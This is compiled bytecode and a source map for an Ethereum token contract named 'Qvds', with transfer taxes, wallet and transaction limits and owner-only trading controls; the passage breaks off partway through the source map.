80830381865afa15801561082f573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061085391906117d3565b6001600160a01b031663c9c6539630601260009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156108b5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108d991906117d3565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610926573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061094a91906117d3565b601380546001600160a01b0319166001600160a01b0392909216919091179055565b6005546001600160a01b031633146109bd5760405162461bcd60e51b8152602060048201526014602482015273145d991cce88139bdd08185d5d1a1bdc9a5e995960621b60448201526064016103c7565b6109ce82826107ce6009600a61175d565b600580546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b038316610a535760405162461bcd60e51b815260206004820152602360248201527f517664733a20617070726f76652066726f6d20746865207a65726f206164647260448201526265737360e81b60648201526084016103c7565b6001600160a01b038216610ab35760405162461bcd60e51b815260206004820152602160248201527f517664733a20617070726f766520746f20746865207a65726f206164647265736044820152607360f81b60648201526084016103c7565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610b765760405162461bcd60e51b8152602060048201526024808201527f517664733a207472616e736665722066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103c7565b6001600160a01b038216610bd75760405162461bcd60e51b815260206004820152602260248201527f517664733a207472616e7366657220746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103c7565b60008111610c3f5760405162461bcd60e51b815260206004820152602f60248201527f517664733a205472616e7366657220616d6f756e74206d75737420626520677260448201526e6561746572207468616e207a65726f60881b60648201526084016103c7565b6001600160a01b03831660009081526003602052604081205460ff16158015610c8157506001600160a01b03831660009081526003602052604090205460ff16155b15611002576001600160a01b03841660009081526004602052604090205460ff16158015610cc857506001600160a01b03831660009081526004602052604090205460ff16155b610cd157600080fd5b600e54600003610d0a57610d076064610d01600a54600e5411610cf657600654610cfa565b6008545b859061117f565b9061120c565b90505b600e5415610d2f57610d2c6064610d01600d548561117f90919063ffffffff16565b90505b6013546001600160a01b038581169116148015610d5a57506012546001600160a01b03848116911614155b8015610d7f57506001600160a01b03831660009081526003602052604090205460ff16155b15610e9f57600f54821115610de75760405162461bcd60e51b815260206004820152602860248201527f517664733a204578636565647320746865206d6178207472616e73616374696f6044820152671b88185b5bdd5b9d60c21b60648201526084016103c7565b60105482610e0a856001600160a01b031660009081526001602052604090205490565b610e1491906117f0565b1115610e6c5760405162461bcd60e51b815260206004820152602160248201527f517664733a204578636565647320746865206d61782077616c6c65742073697a6044820152606560f81b60648201526084016103c7565b610e876064610d01600a54600e5411610cf657600654610cfa565b600e80549192506000610e9983611803565b91905055505b6013546001600160a01b038481169116148015610ec557506001600160a01b0384163014155b15610ef257610eef6064610d01600b54600e5411610ee557600754610cfa565b600954859061117f565b90505b30600090815260016020526040902054601354600160a81b900460ff16158015610f2957506013546001600160a01b038581169116145b8015610f3e5750601354600160b01b900460ff165b8015610f4d5750600c54600e54115b1561100057601554431115610f625760006014555b600360145410610fc05760405162461bcd60e51b8152602060048201526024808201527f517664733a204f6e6c7920332073656c6c732070657220626c6f636b20616c6c6044820152631bddd95960e21b60648201526084016103c7565b610fdd610fd884610fd38460115461124e565b61124e565b611263565b610fe647611406565b60148054906000610ff683611803565b9091555050436015555b505b801561107c57306000908152600160205260409020546110229082611444565b30600081815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906110739085815260200190565b60405180910390a35b6001600160a01b03841660009081526001602052604090205461109f90836114a3565b6001600160a01b0385166000908152600160205260409020556110e46110c583836114a3565b6001600160a01b03851660009081526001602052604090205490611444565b6001600160a01b0380851660008181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61112e85856114a3565b60405190815260200160405180910390a350505050565b600081848411156111695760405162461bcd60e51b81526004016103c791906114f6565b506000611176848661181c565b95945050505050565b60008260000361119157506000610469565b600061119d838561176c565b9050826111aa858361182f565b146112055760405162461bcd60e51b815260206004820152602560248201527f51766473536166654d6174683a206d756c7469706c69636174696f6e206f766560448201526472666c6f7760d81b60648201526084016103c7565b9392505050565b600061120583836040518060400160405280601e81526020017f51766473536166654d6174683a206469766973696f6e206279207a65726f00008152506114c8565b600081831161125d5782611205565b50919050565b6013805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106112ab576112ab611851565b60200260200101906001600160a01b031690816001600160a01b031681525050816000036112d957506113f6565b601260009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561132c573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061135091906117d3565b8160018151811061136357611363611851565b6001600160a01b03928316602091820292909201015260125461138991309116846109f1565b60125460405163791ac94760e01b81526001600160a01b039091169063791ac947906113c2908590600090869030904290600401611867565b600060405180830381600087803b1580156113dc57600080fd5b505af11580156113f0573d6000803e3d6000fd5b50505050505b506013805460ff60a81b19169055565b6005546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015611440573d6000803e3d6000fd5b5050565b60008061145183856117f0565b9050838110156112055760405162461bcd60e51b815260206004820152601f60248201527f51766473536166654d6174683a206164646974696f6e206f766572666c6f770060448201526064016103c7565b600061120583836040518060600160405280602281526020016118d960229139611145565b600081836114e95760405162461bcd60e51b81526004016103c791906114f6565b506000611176848661182f565b600060208083528351808285015260005b8181101561152357858101830151858201604001528201611507565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461155957600080fd5b50565b6000806040838503121561156f57600080fd5b823561157a81611544565b946020939093013593505050565b60008060006060848603121561159d57600080fd5b83356115a881611544565b925060208401356115b881611544565b929592945050506040919091013590565b6000602082840312156115db57600080fd5b813561120581611544565b600080604083850312156115f957600080fd5b823561160481611544565b9150602083013561161481611544565b809150509250929050565b60208082526024908201527f517664734f776e61626c653a2063616c6c6572206973206e6f7420746865206f6040820152633bb732b960e11b606082015260800190565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156116b457816000190482111561169a5761169a611663565b808516156116a757918102915b93841c939080029061167e565b509250929050565b6000826116cb57506001610469565b816116d857506000610469565b81600181146116ee57600281146116f857611714565b6001915050610469565b60ff84111561170957611709611663565b50506001821b610469565b5060208310610133831016604e8410600b8410161715611737575081810a610469565b6117418383611679565b806000190482111561175557611755611663565b029392505050565b600061120560ff8416836116bc565b808202811582820484141761046957610469611663565b60008060006060848603121561179857600080fd5b8351925060208401519150604084015190509250925092565b6000602082840312156117c357600080fd5b8151801515811461120557600080fd5b6000602082840312156117e557600080fd5b815161120581611544565b8082018082111561046957610469611663565b60006001820161181557611815611663565b5060010190565b8181038181111561046957610469611663565b60008261184c57634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156118b75784516001600160a01b031683529383019391830191600101611892565b50506001600160a01b0396909616606085015250505060800152939250505056fe51766473536166654d6174683a207375627472616374696f6e206f766572666c6f77517664733a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122079e8c724ab8f72838d27d4fcb97ff622ab38a461ac740757db56ce69982edc7764736f6c63430008130033

Deployed Bytecode Sourcemap

3610:7944:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;10507:193;;;;;;;;;;;;;:::i;:::-;;4599:63;;;;;;;;;;;;;;;;;;;160:25:1;;;148:2;133:18;4599:63:0;;;;;;;;4732:53;;;;;;;;;;;;;;;;5610:83;;;;;;;;;;-1:-1:-1;5680:5:0;;;;;;;;;;;;-1:-1:-1;;;5680:5:0;;;;5610:83;;;;;;;:::i;6448:161::-;;;;;;;;;;-1:-1:-1;6448:161:0;;;;;:::i;:::-;;:::i;:::-;;;1370:14:1;;1363:22;1345:41;;1333:2;1318:18;6448:161:0;1205:187:1;5887:100:0;;;;;;;;;;;;;:::i;6617:312::-;;;;;;;;;;-1:-1:-1;6617:312:0;;;;;:::i;:::-;;:::i;5796:83::-;;;;;;;;;;-1:-1:-1;5796:83:0;;4394:1;2000:36:1;;1988:2;1973:18;5796:83:0;1858:184:1;5995:119:0;;;;;;;;;;-1:-1:-1;5995:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;6088:18:0;6061:7;6088:18;;;:9;:18;;;;;;;5995:119;11125:389;;;;;;;;;;;;;:::i;2703:148::-;;;;;;;;;;;;;:::i;2485:79::-;;;;;;;;;;-1:-1:-1;2523:7:0;2550:6;2485:79;;-1:-1:-1;;;;;2550:6:0;;;2445:51:1;;2433:2;2418:18;2485:79:0;2299:203:1;5701:87:0;;;;;;;;;;-1:-1:-1;5773:7:0;;;;;;;;;;;;-1:-1:-1;;;5773:7:0;;;;5701:87;;6122:167;;;;;;;;;;-1:-1:-1;6122:167:0;;;;;:::i;:::-;;:::i;4669:56::-;;;;;;;;;;;;;;;;6297:143;;;;;;;;;;-1:-1:-1;6297:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;6405:18:0;;;6378:7;6405:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6297:143;10808:309;;;;;;;;;;;;;:::i;9625:242::-;;;;;;;;;;-1:-1:-1;9625:242:0;;;;;:::i;:::-;;:::i;10507:193::-;2612:6;;-1:-1:-1;;;;;2612:6:0;295:10;2612:22;2604:71;;;;-1:-1:-1;;;2604:71:0;;;;;;;:::i;:::-;;;;;;;;;4455:13:::1;4394:1;4455:2;:13;:::i;:::-;4442:26;::::0;:10:::1;:26;:::i;:::-;10559:21;:36:::0;4455:13:::1;4394:1;4455:2;:13;:::i;:::-;4442:26;::::0;:10:::1;:26;:::i;:::-;10606:14;:29:::0;10651:41:::1;4455:13;4394:1;4455:2;:13;:::i;:::-;4442:26;::::0;:10:::1;:26;:::i;:::-;10651:41;::::0;160:25:1;;;148:2;133:18;10651:41:0::1;;;;;;;10507:193::o:0;6448:161::-;6523:4;6540:39;295:10;6563:7;6572:6;6540:8;:39::i;:::-;-1:-1:-1;6597:4:0;6448:161;;;;;:::o;5887:100::-;5940:7;4455:13;4394:1;4455:2;:13;:::i;:::-;4442:26;;:10;:26;:::i;:::-;5960:19;;5887:100;:::o;6617:312::-;6715:4;6732:36;6742:6;6750:9;6761:6;6732:9;:36::i;:::-;6779:120;6788:6;295:10;6810:88;6848:6;6810:88;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;6810:19:0;;;;;;:11;:19;;;;;;;;295:10;6810:33;;;;;;;;;;:37;:88::i;:::-;6779:8;:120::i;:::-;-1:-1:-1;6917:4:0;6617:312;;;;;:::o;11125:389::-;2612:6;;-1:-1:-1;;;;;2612:6:0;295:10;2612:22;2604:71;;;;-1:-1:-1;;;2604:71:0;;;;;;;:::i;:::-;11186:12:::1;::::0;-1:-1:-1;;;11186:12:0;::::1;;;11185:13;11177:55;;;::::0;-1:-1:-1;;;11177:55:0;;5195:2:1;11177:55:0::1;::::0;::::1;5177:21:1::0;5234:2;5214:18;;;5207:30;5273:31;5253:18;;;5246:59;5322:18;;11177:55:0::1;4993:353:1::0;11177:55:0::1;11243:11;::::0;-1:-1:-1;;;;;11243:11:0::1;:27;11278:21;11309:4;11316:24;11309:4:::0;-1:-1:-1;;;;;6088:18:0;6061:7;6088:18;;;:9;:18;;;;;;;5995:119;11316:24:::1;11342:1;11345::::0;11348:7:::1;2523::::0;2550:6;-1:-1:-1;;;;;2550:6:0;;2485:79;11348:7:::1;11243:130;::::0;::::1;::::0;;;-1:-1:-1;;;;;;11243:130:0;;;-1:-1:-1;;;;;5710:15:1;;;11243:130:0::1;::::0;::::1;5692:34:1::0;5742:18;;;5735:34;;;;5785:18;;;5778:34;;;;5828:18;;;5821:34;5892:15;;;5871:19;;;5864:44;11357:15:0::1;5924:19:1::0;;;5917:35;5626:19;;11243:130:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;11390:9:0::1;::::0;11417:11:::1;::::0;11384:62:::1;::::0;-1:-1:-1;;;11384:62:0;;-1:-1:-1;;;;;11417:11:0;;::::1;11384:62;::::0;::::1;6448:51:1::0;-1:-1:-1;;6515:18:1;;;6508:34;11390:9:0;::::1;::::0;-1:-1:-1;11384:24:0::1;::::0;6421:18:1;;11384:62:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;11457:12:0::1;:19:::0;;-1:-1:-1;;;;11487:19:0;-1:-1:-1;;;11487:19:0;;;11125:389::o;2703:148::-;2612:6;;-1:-1:-1;;;;;2612:6:0;295:10;2612:22;2604:71;;;;-1:-1:-1;;;2604:71:0;;;;;;;:::i;:::-;2810:1:::1;2794:6:::0;;2773:40:::1;::::0;-1:-1:-1;;;;;2794:6:0;;::::1;::::0;2773:40:::1;::::0;2810:1;;2773:40:::1;2841:1;2824:19:::0;;-1:-1:-1;;;;;;2824:19:0::1;::::0;;2703:148::o;6122:167::-;6200:4;6217:42;295:10;6241:9;6252:6;6217:9;:42::i;10808:309::-;2612:6;;-1:-1:-1;;;;;2612:6:0;295:10;2612:22;2604:71;;;;-1:-1:-1;;;2604:71:0;;;;;;;:::i;:::-;10864:11:::1;:71:::0;;-1:-1:-1;;;;;;10864:71:0::1;10892:42;10864:71:::0;;::::1;::::0;;;10946:59:::1;::::0;10963:4:::1;::::0;4455:13:::1;4394:1;4455:2;:13;:::i;:::-;4442:26;::::0;:10:::1;:26;:::i;10946:59::-;11041:11;;;;;;;;;-1:-1:-1::0;;;;;11041:11:0::1;-1:-1:-1::0;;;;;11041:19:0::1;;:21;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11028:46:0::1;;11083:4;11090:11;;;;;;;;;-1:-1:-1::0;;;;;11090:11:0::1;-1:-1:-1::0;;;;;11090:16:0::1;;:18;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11028:81;::::0;-1:-1:-1;;;;;;11028:81:0::1;::::0;;;;;;-1:-1:-1;;;;;7321:15:1;;;11028:81:0::1;::::0;::::1;7303:34:1::0;7373:15;;7353:18;;;7346:43;7238:18;;11028:81:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11016:9;:93:::0;;-1:-1:-1;;;;;;11016:93:0::1;-1:-1:-1::0;;;;;11016:93:0;;;::::1;::::0;;;::::1;::::0;;10808:309::o;9625:242::-;9725:11;;-1:-1:-1;;;;;9725:11:0;9711:10;:25;9703:58;;;;-1:-1:-1;;;9703:58:0;;7602:2:1;9703:58:0;;;7584:21:1;7641:2;7621:18;;;7614:30;-1:-1:-1;;;7660:18:1;;;7653:50;7720:18;;9703:58:0;7400:344:1;9703:58:0;9772:44;9781:9;9792;4455:13;4394:1;4455:2;:13;:::i;9772:44::-;9827:11;:32;;-1:-1:-1;;;;;;9827:32:0;-1:-1:-1;;;;;9827:32:0;;;;;;;;;;-1:-1:-1;9625:242:0:o;6937:333::-;-1:-1:-1;;;;;7030:19:0;;7022:67;;;;-1:-1:-1;;;7022:67:0;;7951:2:1;7022:67:0;;;7933:21:1;7990:2;7970:18;;;7963:30;8029:34;8009:18;;;8002:62;-1:-1:-1;;;8080:18:1;;;8073:33;8123:19;;7022:67:0;7749:399:1;7022:67:0;-1:-1:-1;;;;;7108:21:0;;7100:67;;;;-1:-1:-1;;;7100:67:0;;8355:2:1;7100:67:0;;;8337:21:1;8394:2;8374:18;;;8367:30;8433:34;8413:18;;;8406:62;-1:-1:-1;;;8484:18:1;;;8477:31;8525:19;;7100:67:0;8153:397:1;7100:67:0;-1:-1:-1;;;;;7178:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;7230:32;;160:25:1;;;7230:32:0;;133:18:1;7230:32:0;;;;;;;6937:333;;;:::o;7278:2339::-;-1:-1:-1;;;;;7366:18:0;;7358:67;;;;-1:-1:-1;;;7358:67:0;;8757:2:1;7358:67:0;;;8739:21:1;8796:2;8776:18;;;8769:30;8835:34;8815:18;;;8808:62;-1:-1:-1;;;8886:18:1;;;8879:34;8930:19;;7358:67:0;8555:400:1;7358:67:0;-1:-1:-1;;;;;7444:16:0;;7436:63;;;;-1:-1:-1;;;7436:63:0;;9162:2:1;7436:63:0;;;9144:21:1;9201:2;9181:18;;;9174:30;9240:34;9220:18;;;9213:62;-1:-1:-1;;;9291:18:1;;;9284:32;9333:19;;7436:63:0;8960:398:1;7436:63:0;7527:1;7518:6;:10;7510:70;;;;-1:-1:-1;;;7510:70:0;;9565:2:1;7510:70:0;;;9547:21:1;9604:2;9584:18;;;9577:30;9643:34;9623:18;;;9616:62;-1:-1:-1;;;9694:18:1;;;9687:45;9749:19;;7510:70:0;9363:411:1;7510:70:0;-1:-1:-1;;;;;7626:24:0;;7591:17;7626:24;;;:18;:24;;;;;;;;7625:25;:52;;;;-1:-1:-1;;;;;;7655:22:0;;;;;;:18;:22;;;;;;;;7654:23;7625:52;7621:1627;;;-1:-1:-1;;;;;7703:11:0;;;;;;:5;:11;;;;;;;;7702:12;:26;;;;-1:-1:-1;;;;;;7719:9:0;;;;;;:5;:9;;;;;;;;7718:10;7702:26;7694:35;;;;;;7749:9;;7760:1;7749:12;7746:140;;7793:77;7866:3;7793:68;7815:17;;7805:9;;:27;7804:56;;7846:14;;7804:56;;;7834:11;;7804:56;7793:6;;:10;:68::i;:::-;:72;;:77::i;:::-;7781:89;;7746:140;7903:9;;:11;7900:95;;7946:33;7975:3;7946:24;7957:12;;7946:6;:10;;:24;;;;:::i;:33::-;7934:45;;7900:95;8023:9;;-1:-1:-1;;;;;8015:17:0;;;8023:9;;8015:17;:47;;;;-1:-1:-1;8050:11:0;;-1:-1:-1;;;;;8036:26:0;;;8050:11;;8036:26;;8015:47;:74;;;;-1:-1:-1;;;;;;8067:22:0;;;;;;:18;:22;;;;;;;;8066:23;8015:74;8011:442;;;8128:21;;8118:6;:31;;8110:84;;;;-1:-1:-1;;;8110:84:0;;9981:2:1;8110:84:0;;;9963:21:1;10020:2;10000:18;;;9993:30;10059:34;10039:18;;;10032:62;-1:-1:-1;;;10110:18:1;;;10103:38;10158:19;;8110:84:0;9779:404:1;8110:84:0;8247:14;;8237:6;8221:13;8231:2;-1:-1:-1;;;;;6088:18:0;6061:7;6088:18;;;:9;:18;;;;;;;5995:119;8221:13;:22;;;;:::i;:::-;:40;;8213:86;;;;-1:-1:-1;;;8213:86:0;;10520:2:1;8213:86:0;;;10502:21:1;10559:2;10539:18;;;10532:30;10598:34;10578:18;;;10571:62;-1:-1:-1;;;10649:18:1;;;10642:31;10690:19;;8213:86:0;10318:397:1;8213:86:0;8330:77;8403:3;8330:68;8352:17;;8342:9;;:27;8341:56;;8383:14;;8341:56;;8330:77;8426:9;:11;;8318:89;;-1:-1:-1;8426:9:0;:11;;;:::i;:::-;;;;;;8011:442;8478:9;;-1:-1:-1;;;;;8472:15:0;;;8478:9;;8472:15;:40;;;;-1:-1:-1;;;;;;8491:21:0;;8507:4;8491:21;;8472:40;8469:171;;;8544:80;8620:3;8544:71;8566:18;;8556:9;;:28;8555:59;;8599:15;;8555:59;;;8586:12;;8544:6;;:10;:71::i;:80::-;8532:92;;8469:171;8705:4;8656:28;6088:18;;;:9;:18;;;;;;8731:7;;-1:-1:-1;;;8731:7:0;;;;8730:8;:27;;;;-1:-1:-1;8748:9:0;;-1:-1:-1;;;;;8742:15:0;;;8748:9;;8742:15;8730:27;:43;;;;-1:-1:-1;8761:12:0;;-1:-1:-1;;;8761:12:0;;;;8730:43;:77;;;;;8789:18;;8777:9;;:30;8730:77;8726:511;;;8847:14;;8832:12;:29;8828:92;;;8899:1;8886:10;:14;8828:92;8959:1;8946:10;;:14;8938:63;;;;-1:-1:-1;;;8938:63:0;;11062:2:1;8938:63:0;;;11044:21:1;11101:2;11081:18;;;11074:30;11140:34;11120:18;;;11113:62;-1:-1:-1;;;11191:18:1;;;11184:34;11235:19;;8938:63:0;10860:400:1;8938:63:0;9020:69;9037:51;9041:6;9049:38;9053:20;9075:11;;9049:3;:38::i;:::-;9037:3;:51::i;:::-;9020:16;:69::i;:::-;9108:34;9120:21;9108:11;:34::i;:::-;9161:10;:12;;;:10;:12;;;:::i;:::-;;;;-1:-1:-1;;9209:12:0;9192:14;:29;8726:511;7679:1569;7621:1627;9263:13;;9260:170;;9337:4;9319:24;;;;:9;:24;;;;;;:39;;9348:9;9319:28;:39::i;:::-;9310:4;9292:24;;;;:9;:24;;;;;;;:66;;;;9378:40;;-1:-1:-1;;;;;9378:40:0;;;;;;;9408:9;160:25:1;;148:2;133:18;;14:177;9378:40:0;;;;;;;;9260:170;-1:-1:-1;;;;;9458:15:0;;;;;;:9;:15;;;;;;:27;;9478:6;9458:19;:27::i;:::-;-1:-1:-1;;;;;9440:15:0;;;;;;:9;:15;;;;;:45;9512:40;9530:21;:6;9541:9;9530:10;:21::i;:::-;-1:-1:-1;;;;;9512:13:0;;;;;;:9;:13;;;;;;;:17;:40::i;:::-;-1:-1:-1;;;;;9496:13:0;;;;;;;:9;:13;;;;;:56;;;;9568:41;;;9587:21;:6;9598:9;9587:10;:21::i;:::-;9568:41;;160:25:1;;;148:2;133:18;9568:41:0;;;;;;;7347:2270;7278:2339;;;:::o;1363:190::-;1449:7;1485:12;1477:6;;;;1469:29;;;;-1:-1:-1;;;1469:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1509:9:0;1521:5;1525:1;1521;:5;:::i;:::-;1509:17;1363:190;-1:-1:-1;;;;;1363:190:0:o;1561:250::-;1619:7;1643:1;1648;1643:6;1639:47;;-1:-1:-1;1673:1:0;1666:8;;1639:47;1696:9;1708:5;1712:1;1708;:5;:::i;:::-;1696:17;-1:-1:-1;1741:1:0;1732:5;1736:1;1696:17;1732:5;:::i;:::-;:10;1724:60;;;;-1:-1:-1;;;1724:60:0;;11822:2:1;1724:60:0;;;11804:21:1;11861:2;11841:18;;;11834:30;11900:34;11880:18;;;11873:62;-1:-1:-1;;;11951:18:1;;;11944:35;11996:19;;1724:60:0;11620:401:1;1724:60:0;1802:1;1561:250;-1:-1:-1;;;1561:250:0:o;1819:136::-;1877:7;1904:43;1908:1;1911;1904:43;;;;;;;;;;;;;;;;;:3;:43::i;9875:106::-;9932:7;9963:1;9959;:5;9958:15;;9972:1;9958:15;;;-1:-1:-1;9968:1:0;9875:106;-1:-1:-1;9875:106:0:o;9989:510::-;5205:7;:14;;-1:-1:-1;;;;5205:14:0;-1:-1:-1;;;5205:14:0;;;10091:16:::1;::::0;;10105:1:::1;10091:16:::0;;;;;::::1;::::0;;-1:-1:-1;;10091:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;10091:16:0::1;10067:40;;10136:4;10118;10123:1;10118:7;;;;;;;;:::i;:::-;;;;;;:23;-1:-1:-1::0;;;;;10118:23:0::1;;;-1:-1:-1::0;;;;;10118:23:0::1;;;::::0;::::1;10156:11;10171:1;10156:16:::0;10152:29:::1;;10174:7;;;10152:29;10201:11;;;;;;;;;-1:-1:-1::0;;;;;10201:11:0::1;-1:-1:-1::0;;;;;10201:16:0::1;;:18;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10191:4;10196:1;10191:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10191:28:0;;::::1;:7;::::0;;::::1;::::0;;;;;:28;10262:11:::1;::::0;10230:58:::1;::::0;10247:4:::1;::::0;10262:11:::1;10276::::0;10230:8:::1;:58::i;:::-;10299:11;::::0;:192:::1;::::0;-1:-1:-1;;;10299:192:0;;-1:-1:-1;;;;;10299:11:0;;::::1;::::0;:62:::1;::::0;:192:::1;::::0;10376:11;;10299::::1;::::0;10418:4;;10445::::1;::::0;10465:15:::1;::::0;10299:192:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;10056:443;5230:1;-1:-1:-1::0;5242:7:0;:15;;-1:-1:-1;;;;5242:15:0;;;9989:510::o;10708:92::-;10764:11;;:28;;-1:-1:-1;;;;;10764:11:0;;;;:28;;;;;10785:6;;10764:11;:28;:11;:28;10785:6;10764:11;:28;;;;;;;;;;;;;;;;;;;;;10708:92;:::o;1024:183::-;1082:7;;1114:5;1118:1;1114;:5;:::i;:::-;1102:17;;1143:1;1138;:6;;1130:50;;;;-1:-1:-1;;;1130:50:0;;13477:2:1;1130:50:0;;;13459:21:1;13516:2;13496:18;;;13489:30;13555:33;13535:18;;;13528:61;13606:18;;1130:50:0;13275:355:1;1215:140:0;1273:7;1300:47;1304:1;1307;1300:47;;;;;;;;;;;;;;;;;:3;:47::i;1963:189::-;2049:7;2084:12;2077:5;2069:28;;;;-1:-1:-1;;;2069:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2108:9:0;2120:5;2124:1;2120;:5;:::i;196:548:1:-;308:4;337:2;366;355:9;348:21;398:6;392:13;441:6;436:2;425:9;421:18;414:34;466:1;476:140;490:6;487:1;484:13;476:140;;;585:14;;;581:23;;575:30;551:17;;;570:2;547:26;540:66;505:10;;476:140;;;480:3;665:1;660:2;651:6;640:9;636:22;632:31;625:42;735:2;728;724:7;719:2;711:6;707:15;703:29;692:9;688:45;684:54;676:62;;;;196:548;;;;:::o;749:131::-;-1:-1:-1;;;;;824:31:1;;814:42;;804:70;;870:1;867;860:12;804:70;749:131;:::o;885:315::-;953:6;961;1014:2;1002:9;993:7;989:23;985:32;982:52;;;1030:1;1027;1020:12;982:52;1069:9;1056:23;1088:31;1113:5;1088:31;:::i;:::-;1138:5;1190:2;1175:18;;;;1162:32;;-1:-1:-1;;;885:315:1:o;1397:456::-;1474:6;1482;1490;1543:2;1531:9;1522:7;1518:23;1514:32;1511:52;;;1559:1;1556;1549:12;1511:52;1598:9;1585:23;1617:31;1642:5;1617:31;:::i;:::-;1667:5;-1:-1:-1;1724:2:1;1709:18;;1696:32;1737:33;1696:32;1737:33;:::i;:::-;1397:456;;1789:7;;-1:-1:-1;;;1843:2:1;1828:18;;;;1815:32;;1397:456::o;2047:247::-;2106:6;2159:2;2147:9;2138:7;2134:23;2130:32;2127:52;;;2175:1;2172;2165:12;2127:52;2214:9;2201:23;2233:31;2258:5;2233:31;:::i;2507:388::-;2575:6;2583;2636:2;2624:9;2615:7;2611:23;2607:32;2604:52;;;2652:1;2649;2642:12;2604:52;2691:9;2678:23;2710:31;2735:5;2710:31;:::i;:::-;2760:5;-1:-1:-1;2817:2:1;2802:18;;2789:32;2830:33;2789:32;2830:33;:::i;:::-;2882:7;2872:17;;;2507:388;;;;;:::o;2900:400::-;3102:2;3084:21;;;3141:2;3121:18;;;3114:30;3180:34;3175:2;3160:18;;3153:62;-1:-1:-1;;;3246:2:1;3231:18;;3224:34;3290:3;3275:19;;2900:400::o;3305:127::-;3366:10;3361:3;3357:20;3354:1;3347:31;3397:4;3394:1;3387:15;3421:4;3418:1;3411:15;3437:422;3526:1;3569:5;3526:1;3583:270;3604:7;3594:8;3591:21;3583:270;;;3663:4;3659:1;3655:6;3651:17;3645:4;3642:27;3639:53;;;3672:18;;:::i;:::-;3722:7;3712:8;3708:22;3705:55;;;3742:16;;;;3705:55;3821:22;;;;3781:15;;;;3583:270;;;3587:3;3437:422;;;;;:::o;3864:806::-;3913:5;3943:8;3933:80;;-1:-1:-1;3984:1:1;3998:5;;3933:80;4032:4;4022:76;;-1:-1:-1;4069:1:1;4083:5;;4022:76;4114:4;4132:1;4127:59;;;;4200:1;4195:130;;;;4107:218;;4127:59;4157:1;4148:10;;4171:5;;;4195:130;4232:3;4222:8;4219:17;4216:43;;;4239:18;;:::i;:::-;-1:-1:-1;;4295:1:1;4281:16;;4310:5;;4107:218;;4409:2;4399:8;4396:16;4390:3;4384:4;4381:13;4377:36;4371:2;4361:8;4358:16;4353:2;4347:4;4344:12;4340:35;4337:77;4334:159;;;-1:-1:-1;4446:19:1;;;4478:5;;4334:159;4525:34;4550:8;4544:4;4525:34;:::i;:::-;4595:6;4591:1;4587:6;4583:19;4574:7;4571:32;4568:58;;;4606:18;;:::i;:::-;4644:20;;3864:806;-1:-1:-1;;;3864:806:1:o;4675:140::-;4733:5;4762:47;4803:4;4793:8;4789:19;4783:4;4762:47;:::i;4820:168::-;4893:9;;;4924;;4941:15;;;4935:22;;4921:37;4911:71;;4962:18;;:::i;5963:306::-;6051:6;6059;6067;6120:2;6108:9;6099:7;6095:23;6091:32;6088:52;;;6136:1;6133;6126:12;6088:52;6165:9;6159:16;6149:26;;6215:2;6204:9;6200:18;6194:25;6184:35;;6259:2;6248:9;6244:18;6238:25;6228:35;;5963:306;;;;;:::o;6553:277::-;6620:6;6673:2;6661:9;6652:7;6648:23;6644:32;6641:52;;;6689:1;6686;6679:12;6641:52;6721:9;6715:16;6774:5;6767: